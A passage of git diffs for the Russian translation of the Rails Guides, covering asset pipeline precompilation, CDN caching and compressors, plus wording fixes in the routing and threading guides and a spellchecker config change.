или отдельные таблицы стилей или файлы JavaScript, их можно добавить в массив `precompile` в `config/initializers/assets.rb`: + +```ruby +Rails.application.config.assets.precompile += %w( admin.js admin.css ) +``` + +NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на `.js` или `.css`, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. + +Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ассетов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: + +```ruby +{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, +"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="}, +"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994, +"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="}, +"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629, +"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="}, +"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414, +"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}}, +"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js", +"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css", +"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico", +"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}} +``` + +Размещение манифеста по умолчанию - корень папки, определенной в `config.assets.prefix` (по умолчанию '/assets'). + +NOTE: Если в production отсутствуют прекомпилированные файлы, вы получите исключение `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`, указывающее имя отсутствующего файла(-ов). + +#### Вечный заголовок Expires + +Прекомпилированные ассеты существуют в файловой системе и отдаются непосредственно веб-сервером. По умолчанию у них нет заголовков вечного кэширования, таким образом, чтобы получить преимущество от меток, необходимо обновить конфигурацию вашего сервера, чтобы добавить эти заголовки. + +Для Apache: + +```apache +# Директивы Expires* требуют, чтобы модуль Apache `mod_expires` был включен. + + # Не рекомендуется использование ETag, когда присутствует Last-Modified + Header unset ETag + FileETag None + # RFC предписывает кэшировать только на 1 год + ExpiresActive On + ExpiresDefault "access plus 1 year" + +``` + +Для NGINX: + +```nginx +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; + + add_header ETag ""; +} +``` + +### Локальная прекомпиляция + +Имеется несколько причин того, что может возникнуть желание компилировать ассеты локально. Вот некоторые из них: + +* У вас нет права записи в файловую систему production. +* Вы размещаетесь более чем на одном сервере и хотите избежать дублирования работы. +* Вы часто производите деплои, не включающие изменения ассетов. + +Локальная компиляция позволяет зафиксировать скомпилированные файлы в управлении версиями и деплоить как обычно. + +Однако есть три оговорки: + +* Вы не должны запускать задачу деплоя с помощью Capistrano, которая прекомпилирует ассеты. +* Вы должны убедиться, что в вашей системе разработки присутствуют все необходимые компрессоры или минифайеры. +* Вы должны изменить следующую конфигурационную настройку приложения: + +В `config/environments/development.rb` поместите следующую строчку: + +```ruby +config.assets.prefix = "/dev-assets" +``` + +Изменение `prefix` позволяет Sprockets использовать другой URL для обслуживания ассетов в режиме development и передавать все запросы в Sprockets. Префикс остался установленным `/assets` в режиме production. Без этого изменения приложение будет обслуживаться прекомпилированными ассетами из `/assets` в development, и вы не увидите какие-либо локальные изменения, пока снова не скомпилируете ассеты. + +На практике это позволит прекомпилировать локально, держать эти файлы в рабочей ветке и при необходимости фиксировать в системе контроля версий. Режим development будет работать так, как от от него ожидается. + +### Компиляция в реальном времени + +В некоторых обстоятельствах, возможно, необходимо использовать компиляцию в реальном времени. В этом режиме все запросы для ассетов в файлопроводе обрабатываются непосредственно Sprockets. + +Чтобы включить эту опцию, установите: + +```ruby +config.assets.compile = true +``` + +При первом запросе ассеты компилируются и кэшируются так, как описывалось в разделе про [development](#in-development), и имена манифеста, использованного в хелперах, изменяется путем включения хэша SHA256. + +Sprockets также устанавливает HTTP-заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ассета на ваш сервер; есть хороший шанс, что ассет будет в локальном кэше браузера или в каком-либо промежуточном кэше. + +Этот режим использует больше памяти, имеет худшее быстродействие, чем по-умолчанию, и не рекомендуется. + +Если приложение размещается в системе без существующего JavaScript runtimes, возможно понадобится добавить в `Gemfile` следующий фрагмент кода: + +```ruby +group :production do + gem 'mini_racer' +end +``` + +### (cdns) CDN + +CDN расшифровывается как [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network), она в основном предназначена для кэширования ассетов по всему миру, поэтому, когда браузер запрашивает ассет, кэшированная копия будет географически ближайшая к этому браузеру. Если отдавать ассеты непосредственно от сервера Rails в production, лучшей практикой будет использовать CDN перед приложением. + +Обычным образцом использования CDN является установка вашего приложения в production как "origin" сервер. Это означает, что когда браузер запрашивает ассет из CDN, и кэш отсутствует, он возьмет файл с вашего сервера на лету и кэширует его. Например, если вы запустили приложение Rails на `example.com`, и у вас настроен CDN на `mycdnsubdomain.fictional-cdn.com`, то, когда делается запрос к `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, CDN единожды запросит ваш сервер на `example.com/assets/smile.png` и кэширует запрос. Следующий запрос к CDN, пришедший по тому же самому URL, получит кэшированную копию. Когда CDN может отдать ассет напрямую, запрос никогда не затронет сервер Rails. Так как ассеты из CDN географически ближе к браузеру, запрос быстрее, и, так как серверу не нужно тратить время на раздачу ассетов, он может сфокусироваться на как можно быстром обслуживании кода приложения. + +#### Настройка CDN на раздачу статических ассетов + +Для настройки CDN вам нужно, чтобы ваше приложение было запущенно в production в интернете на публично доступном URL, например `example.com`. Далее необходимо зарегистрироваться на сервисе CDN облачного провайдера. После этого необходимо настроить "origin" для CDN, указав ваш сайт `example.com`, по документации провайдера по настройке origin-сервера. + +Подготовленный CDN даст определенный поддомен для вашего приложения, такой как `mycdnsubdomain.fictional-cdn.com` (отметьте, что fictional-cdn.com это не существующий провайдер CDN в настоящее время). Теперь, когда есть настроенный сервер CDN, необходимо сообщить браузерам использовать ваш CDN для того, чтобы брать ассеты оттуда, а не от сервера Rails. Это можно осуществить, настроив Rails, установив ваш CDN в качестве хоста ассетов, вместо использования относительного пути. Для настройки хоста ассетов в Rails, необходимо установить `config.action_controller.asset_host` в `config/environments/production.rb`: + +```ruby +config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' +``` + +NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или `https://`. Когда запрашивается страница, протокол в сгенерированной ссылке на ассет будет соответствовать тому, какой доступ к странице. + +Это значение также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: + +``` +config.action_controller.asset_host = ENV['CDN_HOST'] +``` + +NOTE: Чтобы это работало, вам необходимо установить на сервере `CDN_HOST` значение `mycdnsubdomain.fictional-cdn.com`. + +После того, как вы настроили свой сервер и ваш CDN, когда вы отдаете страницу, содержащую ассет: + +```erb +<%= asset_path('smile.png') %> +``` + +Вместо того, чтобы вернуть путь, такой как `/assets/smile.png` (метки опущены для читаемости), сгенерированный URL будет содержать полный путь к вашему CDN. + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +Если на CDN имеется копия `smile.png`, она будет отдана браузеру, и ваш сервер даже не узнает, что она была запрошена. Если на CDN нет копии, он попытается найти ее на "origin" `example.com/assets/smile.png`, а затем сохранить ее для дальнейшего использования. + +Если хотите отдавать только некоторые ассеты из CDN, можно использовать опцию `:host` в хелпере ассета, переопределяющую значение, установленное в `config.action_controller.asset_host`. + +```erb +<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> +``` + +#### Настройка поведения кэширования CDN + +CDN работает, кэшируя содержимое. Если в CDN имеется устаревшее или плохое содержимое, то это скорее навредит, чем поможет вашему приложению. Целью этого раздела является описание основных особенностей кэширования многих CDN, поведение вашего определенного провайдера может немного отличаться. + +##### Кэширование запросов CDN + +Хотя CDN описывается как кэширующий файлы ассетов, на самом деле он кэширует целые запросы. Они включают тело ассета, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ассет `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. + +##### Отладка заголовков CDN + +Одним из способов проверить, что заголовки кэшируются правильно на CDN, является использование [curl](http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). Вы можете запросить заголовки от сервера и от CDN, чтобы сверить, что они одинаковые: + +``` +$ curl -I http://www.example/assets/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK +Server: Cowboy +Date: Sun, 24 Aug 2014 20:27:50 GMT +Connection: keep-alive +Last-Modified: Thu, 08 May 2014 01:24:14 GMT +Content-Type: text/css +Cache-Control: public, max-age=2592000 +Content-Length: 126560 +Via: 1.1 vegur +``` + +Против копии на CDN. + +``` +$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK Server: Cowboy Last- +Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css +Cache-Control: +public, max-age=2592000 +Via: 1.1 vegur +Content-Length: 126560 +Accept-Ranges: +bytes +Date: Sun, 24 Aug 2014 20:28:45 GMT +Via: 1.1 varnish +Age: 885814 +Connection: keep-alive +X-Served-By: cache-dfw1828-DFW +X-Cache: HIT +X-Cache-Hits: +68 +X-Timer: S1408912125.211638212,VS0,VE0 +``` + +Проверьте документацию вашего CDN, чтобы найти подробности о том, что такое `X-Cache` или любые другие добавленные ими заголовки. + +##### CDN и заголовок Cache-Control + +[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ассетов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ассет "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив + +``` +config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=31536000' +} +``` + +Теперь, когда ваше приложение отдает ассет в production, CDN сохранит ассет на один год. Так как большинство CDN также кэшируют заголовки запроса, этот `Cache-Control` будет передан всем браузерам, обращающимся к этому ассету, и браузер будет знать, что он может хранить этот ассет очень долго без необходимости повторного запроса. + +##### CDN и недействительность кэша, основанного на URL + +Большинство CDN кэшируют содержимое ассета, основываясь на полном URL. Это означает, что запрос к + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png +``` + +Будет полностью по-другому закэширован, чем + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ассеты, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ассет будет иметь другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ассета, ваши пользователи также получат самый свежий ассет. + +Настройка файлопровода +---------------------- + +### Сжатие CSS + +Одним из вариантов для сжатия CSS является YUI. [YUI CSS compressor](https://yui.github.io/yuicompressor/css.html) предоставляет минификацию. + +Следующая строчка включает сжатие YUI и требует гем `yui-compressor`. + +```ruby +config.assets.css_compressor = :yui +``` + +Имеется другой вариант для сжатия CSS, если у вас установлен гем sass-rails + +```ruby +config.assets.css_compressor = :sass +``` + +### Сжатие JavaScript + +Возможные варианты для сжатия JavaScript это `:closure`, `:uglifier` and `:yui`. Они требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. + +`Gemfile` по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. + +Следующая строчка вызывает `uglifier` для сжатия JavaScript. + +```ruby +config.assets.js_compressor = :uglifier +``` + +NOTE: Необходим runtime, поддерживаемый [ExecJS](https://github.com/rails/execjs#readme), чтобы использовать `uglifier`. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. + +### Обслуживание сжатой версии ассетов + +По умолчанию будет сгенерирована сжатая версия скомпилированных ассетов, вместе с несжатой версией ассетов. Сжатые ассеты помогают уменьшить передачу данных через канал связи. Это можно настроить, установив флажок `gzip`. + +```ruby +config.assets.gzip = false # отключает генерацию сжатых ассетов +``` + +### Использование собственного компрессора + +Настройки конфигурации компрессора для CSS и JavaScript также могут принимать любой объект. Этот объект должен иметь метод `compress`, принимающий строку как единственный аргумент, и он должен возвращать строку. + +```ruby +class Transformer + def compress(string) + do_something_returning_a_string(string) + end +end +``` + +Чтобы его включить, передайте `new` объект в настройку конфигурации в `application.rb`: + +```ruby +config.assets.css_compressor = Transformer.new +``` + +### Изменение пути _assets_ + +Публичный путь, используемый Sprockets по умолчанию, это `/assets`. + +Он может быть заменен на что-то другое: + +```ruby +config.assets.prefix = "/some_other_path" +``` + +Это удобная опция, если вы обновляете старый проект, не использующий файлопровод и уже использующий этот путь, или вы хотите использовать этот путь для нового ресурса. + +### Заголовки X-Sendfile + +Заголовок X-Sendfile — это указание веб-серверу игнорировать отклик от приложения, и вместо этого отдать определенный файл с диска. Эта опция отключена по умолчанию, но может быть включена, если ее поддерживает сервер. Когда опция включена, обязанность по отдаче файла передается веб-серверу, который справляется с ней быстрее. Обратитесь к [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file), чтобы узнать, как использовать эту особенность. + +Apache и NGINX поддерживают эту опцию. Она включается в `config/environments/production.rb`. + +```ruby +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # для Apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # для NGINX +``` + +WARNING: Если вы обновляете свое существующее приложение и намереваетесь использовать эту опцию, убедитесь, что скопировали эту опцию только в `production.rb` и в любую другую среду, которую вы определили, как имеющую поведение production (не в `application.rb`). + +TIP: За дальнейшими подробностями обращайтесь к документации своих веб-серверов: + +- [Apache](https://tn123.org/mod_xsendfile/) +- [NGINX](http://wiki.nginx.org/XSendfile) + +Хранилище кэша ассетов +---------------------- + +По умолчанию Sprockets кэширует ассеты в `tmp/cache/assets` в development и production. Это может быть изменено следующим образом: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:memory_store, + { size: 32.megabytes }) +end +``` + +Чтобы отключить хранилище кэша ассетов: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:null_store) +end +``` + +Добавление ассетов в ваши гемы +------------------------------ + +Ассеты также могут идти от внешних источников в виде гемов. + +Хорошим примером этого является гем `jquery-rails`, поставляющийся вместе с Rails как гем стандартной JavaScript библиотеки. Этот гем содержит класс engine, унаследованный от `Rails::Engine`. Сделав так, Rails становится проинформированным, что директории для этого гема могут содержать ассеты, и директории `app/assets`, `lib/assets` и `vendor/assets` этого engine добавляются в путь поиска Sprockets. + +Создание препроцессора в вашей библиотеке или геме +-------------------------------------------------- + +Sprockets использует Процессоры, Трансформеры, Компрессоры и Экспортеры для расширения функциональности Sprockets. Обратитесь к [Расширение Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md), чтобы узнать больше об этом. Здесь мы зарегистрировали препроцессор, чтобы добавить комментарий в конец text/css (`.css`) файлов. + +```ruby +module AddComment + def self.call(input) + { data: input[:data] + "/* Hello From my sprockets extension */" } + end +end +``` + +Теперь, когда у вас есть модуль, который изменяет входные данные, самое время зарегистрировать его как препроцессор для вашего mime типа. + +```ruby +Sprockets.register_preprocessor 'text/css', AddComment +``` + +Обновление со старых версий Rails +--------------------------------- + +Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ассетов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размещения файлов разных типов. + +Следующей является необходимость избегать дублирования файлов JavaScript. Так как jQuery является библиотекой JavaScript по умолчанию, начиная с Rails 3.1 и далее, не нужно копировать `jquery.js` в `app/assets`, он будет включен автоматически. + +Третья это обновление файлов различных сред с правильными значениями по умолчанию. + +В `application.rb`: + +```ruby +# Версия ассетов, измените ее, если хотите, чтобы срок существующих ассетов истек +config.assets.version = '1.0' + +# Измените путь, откуда отдаются ассеты для config.assets.prefix = "/assets" +``` + +В `development.rb`: + +```ruby +# Разворачивать строчки, загружающие ассеты +config.assets.debug = true +``` + +И в `production.rb`: + +```ruby +# Выбрать используемый компрессор (если имеется) +config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Не обращаться к файлопроводу, если отсутствует прекомпилированный ассет +config.assets.compile = false + +# Генерировать дайджесты для URL ассетов. +config.assets.digest = true + +# Прекомпилировать дополнительные ассеты (application.js, application.css и все +# не-JS/CSS уже добавлены) +# config.assets.precompile `= %w( admin.js admin.css ) +``` + +Rails 4 и выше более не устанавливает конфигурационные значения по умолчанию для Sprockets в `test.rb`, поэтому теперь `test.rb` требует конфигурацию Sprockets. Старыми значениями по умолчанию в тестовом окружении являются: `config.assets.compile = true`, `config.assets.compress = +false`, `config.assets.debug = false` и `config.assets.digest = false`. + +Следующее также должно быть добавлено в `Gemfile`: + +```ruby +gem 'sass-rails', "~> 3.2.3" +gem 'coffee-rails', "~> 3.2.1" +gem 'uglifier' +``` diff --git a/source/index.yml b/source/index.yml index cda72b54..791c7bd4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -321,8 +321,8 @@ pages: - title: Обзор Active Storage path: active_storage_overview file: active_storage_overview.md - revision: - date: 05/12/2017 + revision: 33721a71e39d5a228ae3cd7949fa83198dc3eaa9 + date: 09/01/2018 plan: [] diff --git a/source/routing.md b/source/routing.md index d0f0c5a9..0b243de4 100644 --- a/source/routing.md +++ b/source/routing.md @@ -79,13 +79,13 @@ Rails отправит этот запрос в экшн `destroy` контро ### CRUD, методы и экшны -В Rails ресурсный маршрут предоставляет соединение между методами HTTP и URL к экшнам контроллера. По соглашению, каждый экшн также соединяется с определенной операцией CRUD в базе данных. Одна запись в файле роутинга, такая как: +В Rails ресурсный маршрут предоставляет сопоставление между методами HTTP и URL к экшнам контроллера. По соглашению, каждый экшн также соединяется с определенной операцией CRUD в базе данных. Одна запись в файле роутинга, такая как: ```ruby resources :photos ``` -создает семь различных маршрутов в вашем приложении, все соединенные с контроллером `Photos`: +создает семь различных маршрутов в приложении, все сопоставления с контроллером `Photos`: | Метод HTTP | Путь | Контроллер#Экшн | Использование | | ---------- | ---------------- | -------------- | ---------------------------------------------- | @@ -149,7 +149,7 @@ resource :geocoder resolve('Geocoder') { [:geocoder] } ``` -создаст шесть различных маршрутов в вашем приложении, все связанные с контроллером `Geocoders`: +создаст шесть различных маршрутов в приложении, все сопоставления с контроллером `Geocoders`: | Метод HTTP | Путь | Контроллер#Экшн | Использование | | ---------- | -------------- | ----------------- | --------------------------------------------------- | diff --git a/source/threading_and_code_execution.md b/source/threading_and_code_execution.md index bd03b24b..76695d91 100644 --- a/source/threading_and_code_execution.md +++ b/source/threading_and_code_execution.md @@ -28,11 +28,11 @@ Executor Executor в Rails отделяет код приложения от кода фреймворка: в любое время, когда фреймворк вызывает код, написанный в приложении, он будет обернут Executor. -Executor состоит из двух коллбэков: `to_run` и `to_complete`. Коллбэк `to_run` вызывается до кода приложения, а `to_complete` - после. +Executor состоит из двух колбэков: `to_run` и `to_complete`. Колбэк `to_run` вызывается до кода приложения, а `to_complete` - после. -### Дефолтные коллбэки +### Дефолтные колбэки -В приложении Rails по умолчанию коллбэки Executor используются для: +В приложении Rails по умолчанию колбэки Executor используются для: * отслеживания, какие треды находятся в безопасных положениях для автозагрузки и перезагрузки * включения и отключения кэша запросов Active Record @@ -85,7 +85,7 @@ Executor поместит текущий тред в режим `running` при Reloader -------- -Как и Executor, Reloader также оборачивает код приложения. Если Executor не активен в текущем треде, Reloader вызовет его сам, поэтому необходимо вызывать только Reloader. Это также гарантирует, что все, что делает Reloader, включая все его вызовы коллбэка, оказывается обернутым внутри Executor. +Как и Executor, Reloader также оборачивает код приложения. Если Executor не активен в текущем треде, Reloader вызовет его сам, поэтому необходимо вызывать только Reloader. Это также гарантирует, что все, что делает Reloader, включая все его вызовы колбэка, оказывается обернутым внутри Executor. ```ruby Rails.application.reloader.wrap do @@ -95,17 +95,17 @@ end Reloader подходит только тогда, когда долговременный процесс на уровне фреймворка повторно вызывается в коде приложения, например, для веб-сервера или очереди заданий. Rails автоматически оборачивает веб-запросы и воркеры Active Job, поэтому редко приходится ссылаться на Reloader. Всегда учитывайте, подходит ли Executor для конкретного случая. -### Коллбэки +### Колбэки Перед входом в обернутый блок Reloader проверит, нужно ли перезагружать запущенное приложение - например, потому что исходный файл модели был модифицирован. Если он определяет, что требуется перезагрузка, он будет ждать до тех пор, пока это будет безопасно, а затем сделает это, прежде чем продолжить. Когда приложение настроено на постоянную перезагрузку независимо от того, обнаружены ли какие-либо изменения, перезагрузка будет выполняется в конце блока. -Reloader также предоставляет коллбэки `to_run` и `to_complete`; они вызываются в тех же точках, что и для Executor, но только когда текущее выполнение инициировало перезагрузку приложения. Когда нет необходимости в перезагрузке, Reloader будет вызывать обернутый блок без каких-либо других коллбэков. +Reloader также предоставляет колбэки `to_run` и `to_complete`; они вызываются в тех же точках, что и для Executor, но только когда текущее выполнение инициировало перезагрузку приложения. Когда нет необходимости в перезагрузке, Reloader будет вызывать обернутый блок без каких-либо других колбэков. ### Выгрузка классов (Class Unload) -Наиболее значительная часть процесса перезагрузки - это выгрузка классов, в которой все автозагруженные классы удаляются, и их можно снова загружать. Это происходит непосредственно до коллбэков `to_run` или `to_complete`, в зависимости от параметра `reload_classes_only_on_change`. +Наиболее значительная часть процесса перезагрузки - это выгрузка классов, в которой все автозагруженные классы удаляются, и их можно снова загружать. Это происходит непосредственно до колбэков `to_run` или `to_complete`, в зависимости от параметра `reload_classes_only_on_change`. -Зачастую дополнительные экшны по перезагрузке должны выполняться как непосредственно до, так и сразу после выгрузки классов, поэтому Reloader также предоставляет коллбэки `before_class_unload` и `after_class_unload`. +Зачастую дополнительные экшны по перезагрузке должны выполняться как непосредственно до, так и сразу после выгрузки классов, поэтому Reloader также предоставляет колбэки `before_class_unload` и `after_class_unload`. ### Конкурентность @@ -122,7 +122,7 @@ Reloader также предоставляет коллбэки `to_run` и `to_ Active Job также оборачивает выполнение задания с помощью Reloader, загружая последний код для выполнения каждого задания, когда оно выходит из очереди. -Action Cable использует вместо этого Executor: поскольку соединение Cable связано с конкретным экземпляром класса, невозможно перезагрузить для каждого прибывающего веб-сокета сообщение. Тем не менее, обрабатывается только обработчик сообщений; долговременное соединение Cable не предотвращает перезагрузку, вызванную новым входящим запросом или заданием. Вместо этого Action Cable использует коллбэк `before_class_unload` Reloader для отключения всех его соединений. Когда клиент автоматически переподключится, он будет иметь дело с новой версией кода. +Action Cable использует вместо этого Executor: поскольку соединение Cable связано с конкретным экземпляром класса, невозможно перезагрузить для каждого прибывающего веб-сокета сообщение. Тем не менее, обрабатывается только обработчик сообщений; долговременное соединение Cable не предотвращает перезагрузку, вызванную новым входящим запросом или заданием. Вместо этого Action Cable использует колбэк `before_class_unload` Reloader для отключения всех его соединений. Когда клиент автоматически переподключается, он имеет дело с новой версией кода. Вышеупомянутые являются точками входа в фреймворк, поэтому они несут ответственность за обеспечение своих соответствующих тредов и принятие решения о необходимости перезагрузки. Другие компоненты должны использовать Executor, только когда они порождают дополнительные треды. @@ -149,9 +149,9 @@ Load Interlock позволяет включить автозагрузку и ### `permit_concurrent_loads` -Executor автоматически приобретает лок `running` на протяжении всего своего блока, и автозагрузка знает, когда производить апгрейд лока `load`, и снова вернуться к `running`. +Executor автоматически приобретает блокировку `running` на протяжении всего своего блока, и автозагрузка знает, когда производить апгрейд блокировки `load`, и снова вернуться к `running`. -Однако другие операции блокировки, выполняемые внутри блока Executor (включая весь код приложения), могут без необходимости удерживать лок `running`. Если другой тред встречает константу, он должен автозагружаться, это может вызвать дедлок. +Однако другие блокирующие операции, выполняемые внутри блока Executor (включая весь код приложения), могут без необходимости удерживать блокировку `running`. Если другой тред встречает константу, он должен автозагружаться, это может вызвать дедлок. Например, если предположить, что `User` еще не загружен, следующее приведет к дедлоку: @@ -164,7 +164,7 @@ Rails.application.executor.wrap do end end - th.join # внешний тред ждет здесь, удерживая лок 'running' + th.join # внешний тред ждет здесь, удерживая блокировку 'running' end ``` @@ -174,13 +174,13 @@ end Rails.application.executor.wrap do th = Thread.new do Rails.application.executor.wrap do - User # внутренний тред может приобрести загрузку лока, + User # внутренний тред может приобрести блокировку 'load', # загрузить User и продолжить end end ActiveSupport::Dependencies.interlock.permit_concurrent_loads do - th.join # внешний тред ждет здесь, но не имеет лока + th.join # внешний тред ждет здесь, но не имеет блокировки end end ``` @@ -212,6 +212,6 @@ config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks ``` -Если затем перезапустить приложение и перезапустить условие дедлока, `/rails/locks` покажет сводку всех тредов, которые в настоящее время известны интерлоку, какой уровень лока они удерживают или ждут, и их текущий бэктрейс. +Если затем перезапустить приложение и перезапустить условие дедлока, `/rails/locks` покажет сводку всех тредов, которые в настоящее время известны интерлоку, какой уровень блокировки они удерживают или ждут, и их текущий бэктрейс. -Как правило, дедлок будет вызван интерлоком, конфликтующим с каким-либо другим внешним локом или блокировкой вызова I/O. Как только он будет найден, можно обернуть его с помощью `permit_concurrent_loads`. +Как правило, дедлок будет вызван интерлоком, конфликтующим с какой-либо другой внешней блокировкой или блокирующим I/O вызовом. Как только он будет найден, можно обернуть его с помощью `permit_concurrent_loads`. From 367bc499cfe240f2233f45fefdf3c8774090357c Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Mon, 8 Jan 2018 09:34:43 +0300 Subject: [PATCH 355/932] Update 08-01-2018 --- .gitignore | 1 + .yaspellerrc | 5 +- source/3_0_release_notes.md | 16 +-- source/4_0_release_notes.md | 2 +- source/5_1_release_notes.md | 3 + source/action_controller_overview.md | 6 +- source/action_mailer_basics.md | 6 +- source/action_view_overview.md | 16 +-- source/active_job_basics.md | 4 +- source/active_record_basics.md | 2 +- source/active_record_migrations.md | 2 +- source/active_record_querying.md | 4 +- source/active_record_validations.md | 2 +- source/active_storage_overview.md | 9 ++ source/active_support_core_extensions.md | 8 +- source/active_support_instrumentation.md | 7 ++ source/association_basics.md | 35 +++---- source/caching_with_rails.md | 2 +- source/command_line.md | 4 +- source/configuring.md | 20 ++-- source/contributing_to_ruby_on_rails.md | 8 +- source/engines.md | 12 +-- source/form_helpers.md | 8 +- source/generators.md | 2 +- source/getting_started.md | 4 +- source/index.md | 9 +- source/index.yml | 114 ++++++++++----------- source/layouts_and_rendering.md | 2 +- source/menu.md | 9 +- source/plugins.md | 2 +- source/routing.md | 45 +++++++- source/ruby_on_rails_guides_guidelines.md | 2 +- source/security.md | 6 +- source/testing.md | 4 +- source/threading_and_code_execution.md | 4 +- source/upgrading_ruby_on_rails.md | 18 +++- source/working_with_javascript_in_rails.md | 2 +- 37 files changed, 243 insertions(+), 162 deletions(-) diff --git a/.gitignore b/.gitignore index 6cef8409..6c2ef58c 100644 --- a/.gitignore +++ b/.gitignore @@ -20,3 +20,4 @@ config/settings/*.local.yml config/environments/*.local.yml config/settings/production.yml node_modules +source/diff.diffrake diff --git a/.yaspellerrc b/.yaspellerrc index 802217cc..44b4b827 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -130,6 +130,8 @@ "обфускаци(и|ю|я|ей)", "обфусцирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", 